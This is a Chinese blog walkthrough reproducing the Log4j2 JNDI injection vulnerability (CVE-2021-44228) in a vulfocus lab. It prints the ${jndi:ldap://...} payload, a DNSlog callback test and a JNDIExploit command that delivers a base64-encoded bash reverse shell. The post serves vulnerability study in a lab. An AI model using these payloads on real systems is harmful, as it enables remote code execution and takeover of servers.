Log4j2远程命令执行(CVE-2021-44228)漏洞复现

Log4j2远程命令执行(CVE-2021-44228)

关于log4j2

Log4j是Apache的一个开放源代码项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件、甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。

关于JNDI

JNDI (java naming and directory Interface) java命名和⽬录接⼝,它是一个目录系统,将服务名称与对象关联起来即可以使用名称来访问对象。

简单理解就是:我们可以通过给JNDI接口传一个name去一个类似于字典的数据源查找,获取到对应的对象。

在这里插入图片描述

JNDI主要通过lookup()方法完成这一操作,接收到查询信息后去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…)查找资源。

LDAP

LDAP即Lightweight Directory Access Protocol(轻量级⽬录访问协议),目录是⼀个为查询、浏览和 搜索⽽优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的⽂件⽬录⼀样。 ⽬录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功 能,不适于存储修改频繁的数据。—— 所以⽬录天⽣是⽤来查询的,就好像它的名字⼀样。

漏洞原理

log4j2组件会将用户输入的信息记录到日志中,那么log4j2会通过jndi的lookup方法去解析代码,它会去127.0.0.1下查找exploit资源,找到之后再返回给log4j2

假如有人传递了这样的参数:

${jndi:ldap://127.0.0.1/exploit}

解析:

1、${} —— ⾥⾯包裹的内容单独处理;

2、进⼀步解析:发现JNDI扩展内容;

3、再进⼀步解析:发现了是LDAP协议,127.0.0.1 要查找的内容exploit

4、最后:调⽤具体负责LDAP的模块去请求对应的数据 —— 请求JAVA对象(内存) —— ⽹络传输 命名引⽤!可以通过远程下载class⽂件,加载起来构建对象 不直接返回对象内容,告诉你你对象在那 个class⾥,让你去查找

总结:JNDI可以远程下载class⽂件去构建对象!

在这里插入图片描述

漏洞复现——基于vulfocus/log4j2

1.在vulfocus拉取log4j2的镜像后访问靶场(似乎高java版本无法访问,jdk1.8以下可以)

在这里插入图片描述

2.点击超链接,观察到URL出现了payload参数

在这里插入图片描述

3.先用在线的DNSlog测试能否记录访问

在这里插入图片描述

4.构造如下payload:

${jndi:ldap://hqcbta.dnslog.cn/exploit}

但是如果直接访问会报400错误

在这里插入图片描述

原因在于我们没有对参数进行URL编码,这里可以找在线编码网站进行一下URL编码

5.经过URL编码后再次传参可以发现页面正常访问了

在这里插入图片描述

查看DNSlog发现也出现了访问记录

在这里插入图片描述

6.深度利用

我们通过JNDI注入工具,构建好恶意类class和ldap服务

(1)构建payload,将要执行的命令进行base64编码,我们创建一个反弹shell的语句

在这里插入图片描述

选择任意一个进行复制,base64编码

(2)kali中运行jndi注入工具JNDIExploit

在这里插入图片描述

使用方法:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,编码后的bash反弹shell命令}|{base64,-d}|{bash,-i}" -A "监听的IP地址"

(3)kali开启监听

在这里插入图片描述

(4)复制一条出发执行反弹shell的命令 随意一条

在这里插入图片描述

将其构造为${jndi:ldap://hqcbta.dnslog.cn/exploit}的形式

(5)将构造好后的语句传入payload参数,别忘了URL编码

在这里插入图片描述

可以看到页面正常访问了

回去观察kali 在serber log中已经记录了访问
反弹shell成功

在这里插入图片描述在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值